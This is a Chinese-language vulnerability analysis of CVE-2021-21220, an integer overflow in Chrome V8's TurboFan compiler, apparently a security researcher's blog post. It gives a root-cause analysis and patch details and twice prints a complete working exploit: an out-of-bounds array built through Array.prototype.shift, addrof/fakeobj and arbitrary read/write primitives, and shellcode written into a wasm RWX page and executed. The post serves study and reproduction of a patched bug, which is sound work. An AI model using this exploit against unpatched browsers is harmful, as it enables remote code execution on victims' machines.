CVE-2021-21220

CVE-2021-21220

九月 29, 2021

一、漏洞信息

1. 漏洞简述

漏洞存在于 Chrome 的 JS 引擎的 JIT 编译器 Turbofan 当中的 Instruction Selector阶段

  • 漏洞编号:CVE-2021-21220
  • 漏洞类型:整数溢出
  • 漏洞影响:远程代码执行
  • CVSS评分:8.8
  • 利用难度:Medium
  • 基础权限:不需要

2. 组件概述

TurboFan是 v8 的优化编译器,负责将字节码和一些分析数据作为输入并生成优化的机器代码。

3. 漏洞利用

  • 利用这个整数溢出漏洞构造一个长度为1但编译器认为其长度为0的数组
  • 通过 Array.prototype.shift() 获得一个长度为0xffffffff的越界数组
  • 通过越界数组构造任意地址读写原语
  • 修改 wasm 代码执行 shellcode

4. 漏洞影响

V8 version < 8.9.255.25

Chrome version < 89.0.4389.128

5. 解决方案

https://chromium-review.googlesource.com/c/v8/v8/+/2822629/3/src/compiler/backend/x64/instruction-selector-x64.cc

二、漏洞复现

1. 环境搭建

  • 靶机环境版本详述:Win10 1909
  • 靶机配置:Chromium version = 89.0.4389.0 关闭沙箱
  • 攻击机环境版本详述:kali 5.8.0
  • 攻击机配置:Python 3.8.6(开web服务)

2. 复现过程

  1. 攻击机编写 exploit 开启服务等待访问

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    //exploit.js
    var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;

    var buf = new ArrayBuffer(8);
    var f64_buf = new Float64Array(buf);
    var u64_buf = new BigUint64Array(buf);
    let buf2 = new ArrayBuffer(0x150);

    function ftoi(val) {
    f64_buf[0] = val;
    return u64_buf[0];
    }

    function itof(val) {
    u64_buf[0] = val;
    return f64_buf[0];
    }

    const _arr = new Uint32Array([2**31]);

    function foo() {
    var x = (_arr[0] ^ 0) + 1;
    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);
    x -= 1;
    if(x == -1) x = 0;
    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];
    return [arr, cor];
    }

    for(var i=0; i < 0x3000; ++i)
    foo();

    [arr, cor] = foo();

    arr[16] = 0x4242;

    function addrof(k) {
    arr[7] = k;
    return ftoi(cor[0]) & 0xffffffffn;
    }

    function fakeobj(k) {
    cor[0] = itof(k);
    return arr[7];
    }

    var float_array_map = ftoi(cor[3]);

    var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
    var fake = fakeobj(addrof(arr2) + 0x20n);

    function arbread(addr) {
    if (addr % 2n == 0) {
    addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    return (fake[0]);
    }

    function arbwrite(addr, val) {
    if (addr % 2n == 0) {
    addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    fake[0] = itof(BigInt(val));
    }

    function copy_shellcode(addr, shellcode) {
    let dataview = new DataView(buf2);
    let buf_addr = addrof(buf2);
    let backing_store_addr = buf_addr + 0x14n;
    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4*i, shellcode[i], true);
    }
    }

    var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
    console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
    var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
    copy_shellcode(rwx_page_addr, shellcode);
    f();
    1
    2
    <!--exploit.html-->
    <script src="exp.js"></script>
    1
    2
    # shell
    $ python3 -m http.server 80
  2. 靶机关闭沙箱访问exploit

三、漏洞分析

1. 基本信息

  • 漏洞文件:src/compiler/backend/x64/instruction-selector-x64.cc
  • 漏洞函数:InstructionSelector::VisitChangeInt32ToInt64

2. 背景知识

V8 引擎工作基本流程图示:

工作流程简述:

  • 扫描所有代码,进行词法分析,生成 Tokens
  • Parser 解析器根据 Tokens 生成 AST
  • Ignition 解释器将 AST 转化为字节码并解释执行
  • TurboFan 编译器将热点函数编译优化成机器指令以提高效率

TurboFan是 v8 的优化编译器,负责将字节码和一些分析数据作为输入并生成优化的机器代码。

当 Ignition 开始执行 JavaScript 代码后,V8 会一直观察 JavaScript 代码的执行情况,并记录执行信息,如每个函数的执行次数、每次调用函数时,传递的参数类型等。

如果一个函数被调用的次数超过了内设的阈值,监视器就会将当前函数标记为热点函数(Hot Function),并将该函数的字节码以及执行的相关信息发送给 TurboFan。TurboFan 会根据执行信息做出一些进一步优化此代码的假设,在假设的基础上将字节码编译为优化的机器代码。如果假设成立,那么当下一次调用该函数时,就会执行优化编译后的机器代码,以提高代码的执行性能。

那如果假设不成立进行 deoptimize(优化回退),将优化编译后的机器代码还原为字节码。

3. 详细分析

1. 基础分析

poc及输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const _arr = new Uint32Array([2**31]);
function foo() {
var x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);
x -= 1;
if(x==-1) x = 0;
return x;
}
print(foo());
for(let i = 0; i < 0x3000; i ++)
foo();
print(foo());
//0
//1

可以看到foo()函数在编译优化前后的返回值不同

关键代码是这里

1
var x = (_arr[0] ^ 0) + 1;

对这行代码执行流程和类型转换分析如下:

  1. _arr[0] 类型为 UInt32
  2. _arr[0] ^ 0 之后类型转化成 Int32
  3. 为了之后的 +1 把 Int32 类型转化成 Int64
  4. 执行 Int64Add

2. 静态分析

turbolizer分析优化过程,TFGenericLowering 阶段关键部分如下

下一个阶段 TFEarlyOptimization

WordXor 节点在优化被删掉,直接将左操作数往下传,优化代码如下:

再看最后的 TFLateGraphTrimming 阶段

可以看到 Load 节点的类型是 Uint32,传入了 ChangeInt32ToInt64 节点,而ChangeInt32ToInt64 节点是接收 Int32 类型的,即这里本应该传入 Int32 但是编译优化后传入的是 UInt32,ChangeInt32ToInt64 指令选择代码如下:

综上,漏洞成因是 WordXor 节点被删除后 UInt32 未能转化成 Int32 就传入 ChangeInt32ToInt64,结果是 ChangeInt32ToInt64 的指令选择中原本应该用符号扩展却错误地使用了无符号扩展,导致整数溢出,在之后的一系列计算后把原本的正确值0变成了1。

1. 补丁Diff

使 ChangeInt32ToInt64 将所有输入都当作 Int64 处理,使用带符号扩展指令。

2. 漏洞函数分析

ChangeInt32ToInt64 是用来处理 Int32 的扩展的,但它也支持判断传入数据类型处理 UInt32 扩展,若错误地传入数据类型则会引起整数溢出。

3. 动态分析

在 poc.js 中设置好断点和优化后的函数信息打印,用 gdb 调试

优化后代码如下

不带符号

4. 利用思路

  • 利用这个整数溢出漏洞构造一个长度为1但编译器认为其长度为0的数组
  • 通过 Array.prototype.shift() 获得一个长度为0xffffffff的越界数组
  • 通过越界数组构造任意地址读写原语
  • 修改 wasm 代码执行 shellcode

1. 利用条件

V8 version < 8.9.255.25

关闭沙箱

2. 利用过程

构造整数溢出的数组

利用上文分析的漏洞,不再赘述

通过 Array.prototype.shift() 获得一个长度为0xffffffff的越界数组

Array.prototype.shift() 是利用过程中需要用到的另一个漏洞,验证poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const _arr = new Uint32Array([2**31]);
function foo() {
var x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);
x -= 1;
if(x==-1) x = 0;
var arr = new Array(x);
arr.shift();
return arr.length;
}
print(foo());
for(let i = 0; i < 0x3000; i ++)
foo();
print(foo());
//0
//-1

shift 函数的作用是移除数组中的一个元素,同时长度减一,且减长度时没有长度为 0 的边界判断,但实际移除元素时若数组中没有元素会移除失败,长度也不会减一。

从 Turbolizer 中分析 TFSimplifiedLowering 阶段流程中x的可能值变化:

可见最终创建 Array 时x的值只能是 0 ,所以在 JIT 优化中认为 shift 之后的数组长度一定为 -1 ,直接将其写入到优化后的代码中:

之所以是 0xfffffffe 而不是 0xffffffff 是因为在 V8 中,把数据的最后一位当成一个标志位,若为 0 则表示是一个 smi(small int) ,将其右移一位得到的值就是真实值;若为 1 则表示该值是一个地址,表示该地址处的一个对象,将其最后一位 1 变成 0 得到实际地址(因为对齐最后两位不用,这里算是将其利用起来)。

这里虽然 JIT 认为传入的x一定为 0 ,可是实际传入的值却是 1 ,导致数组中是有一个元素可供正常移除的,所以 shift 函数可以正常执行,得到一个长度为 0xffffffff 的越界数组。

这个漏洞也已经修补,在 pop 和 shift 的长度减一时加入了边界检查:

通过越界数组构造任意地址读写原语

这里需要了解 V8 对象的布局,比较复杂,参考链接

在越界数组arr后接一个 float array 数组cor,调试确定偏移,利用arr修改cor的长度字段,得到一个越界 float array 数组,再利用这两个数组构造 addroffakeobj 原语:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
arr[16] = 0x4242;

//触发编译优化,用超长数组arr修改cor数组的长度(arr[16]的偏移由调试得出),获得另一个类型为float的越界长数组

function addrof(k) {
arr[7] = k;
return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
cor[0] = itof(k);
return arr[7];
}
//cor[0]和arr[7]指向同一个地址(调试得出),由此构造addrof和fakeobj原语

获取利用cor获取 float array 的 map 字段,创建一个 float array ,在该数组的数据中伪造另一个 float array 用 fakeobj将其转化成对象,这样就得到了一个完全可控的数组对象,可以用该对象中的 elements 实现任意地址读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
return (fake[0]);
}

function arbwrite(addr, val) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
fake[0] = itof(BigInt(val));
}
//用Array的element属性伪造一个Array,构造arbread和arbwrite原语实现任意地址读写

但是 float array 写入高地址会失败,原因还未求证,据说网友说是因为 double 类型的浮点数数组在处理 0x7f 开头的高地址时会出现将低 20 位与运算为 0 ,从而导致上述操作无法写入的错误,有时间求证一下。

为解决这一问题使用 DataView 对象,DataView 对象的 buffer 结构体中存储着的 backing_store 属性,记录的就是实际 DataView 申请的 Buffer 的内存地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> job 0x299b081484c1
0x299b081484c1: [JSDataView]
- map: 0x299b08302ca5 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x299b082c8071 <Object map = 0x299b08302ccd>
- elements: 0x299b08042229 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x299b08148489 <ArrayBuffer map = 0x299b083031f5>
- byte_offset: 0
- byte_length: 16
- properties: 0x299b08042229 <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> job 0x299b08148489
0x299b08148489: [JSArrayBuffer]
- map: 0x299b083031f5 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x299b082c9c5d <Object map = 0x299b0830321d>
- elements: 0x299b08042229 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5611359e0300 <-----存储实际内存地址
- byte_length: 16
- detachable
- properties: 0x299b08042229 <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}

如果用上面的任意地址读写将这个 backing_store 指针修改为我们想要写入的内存地址比如 0x41414141,那么我们再调用 view.setUint32(0, 0x44434241, true) 类似指令时,实际上就是向内存地址 0x41414141 处写入了 0x44434241 ,从而达到了任意地址写入的效果。这个基于 DataView 的写入,就不会触发 FloatArray 写入高地址的访问异常。

Wasm

Wasm 就是可以让 JavaScript 直接执行高级语言生成的机器码的一种技术。

WasmFiddle

Wasm 不允许浏览器直接调用系统函数,我们可以把 shellcode 写入到 Wasm 的代码内存中覆盖掉,再调用接口执行的就是我们自己的 shellcode。

代码所在内存的偏移不同版本有所不同,需要调试寻找,大致在 instance 对象中某个偏移,打印出来对照 vmmap 找到那段 rwx 的内存就是了。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
//exploit.js
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
//供之后用shellcode覆写后调用


var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new BigUint64Array(buf);

function ftoi(val) {
f64_buf[0] = val;
return u64_buf[0];
}

function itof(val) {
u64_buf[0] = val;
return f64_buf[0];
}
//ftoi和itof原语


const _arr = new Uint32Array([2**31]);

function foo() {
var x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);
x -= 1;
if(x == -1) x = 0;
var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
//漏洞函数,先用本文漏洞构造整数溢出,再用Array.prototype.shift()的漏洞利用整数溢出构造越界超长数组arr


for(var i=0; i < 0x3000; ++i)
foo();

[arr, cor] = foo();

arr[16] = 0x4242;

//触发编译优化,用超长数组arr修改cor数组的长度(arr[16]的偏移由调试得出),获得另一个类型为float的越界长数组

function addrof(k) {
arr[7] = k;
return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
cor[0] = itof(k);
return arr[7];
}
//cor[0]和arr[7]指向同一个地址(调试得出),由此构造addrof和fakeobj原语


var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
return (fake[0]);
}

function arbwrite(addr, val) {
if (addr % 2n == 0) {
addr += 1n;
}
arr2[1] = itof((2n << 32n) + addr - 8n);
fake[0] = itof(BigInt(val));
}
//用Array的element属性伪造一个Array,构造arbread和arbwrite原语实现任意地址读写


let buf2 = new ArrayBuffer(0x150);
function copy_shellcode(addr, shellcode) {
let dataview = new DataView(buf2);
let buf_addr = addrof(buf2);
let backing_store_addr = buf_addr + 0x14n;
arbwrite(backing_store_addr, addr);

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
copy_shellcode(rwx_page_addr, shellcode);
//用构造的读写原语控制ArrayBuffer的backing_store字段和wasm的机器码内存,将shellcode写入


f();
//执行wasm

四、缓解措施

更新新版Chrome

五、参考文献

https://eternalsakura13.com/2018/05/06/v8/
https://ruan777.github.io/2021/04/21/Chrome_issue_1196683_1195777/
https://paper.seebug.org/1556/
https://www.venustech.com.cn/new_type/aqldfx/20210416/22627.html
https://kiprey.github.io/2021/01/v8-turboFan/#%E5%9B%9B%E3%80%81turboFan%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B
https://segmentfault.com/a/1190000039908658
https://www.4hou.com/posts/21Y1
https://www.freebuf.com/vuls/203721.html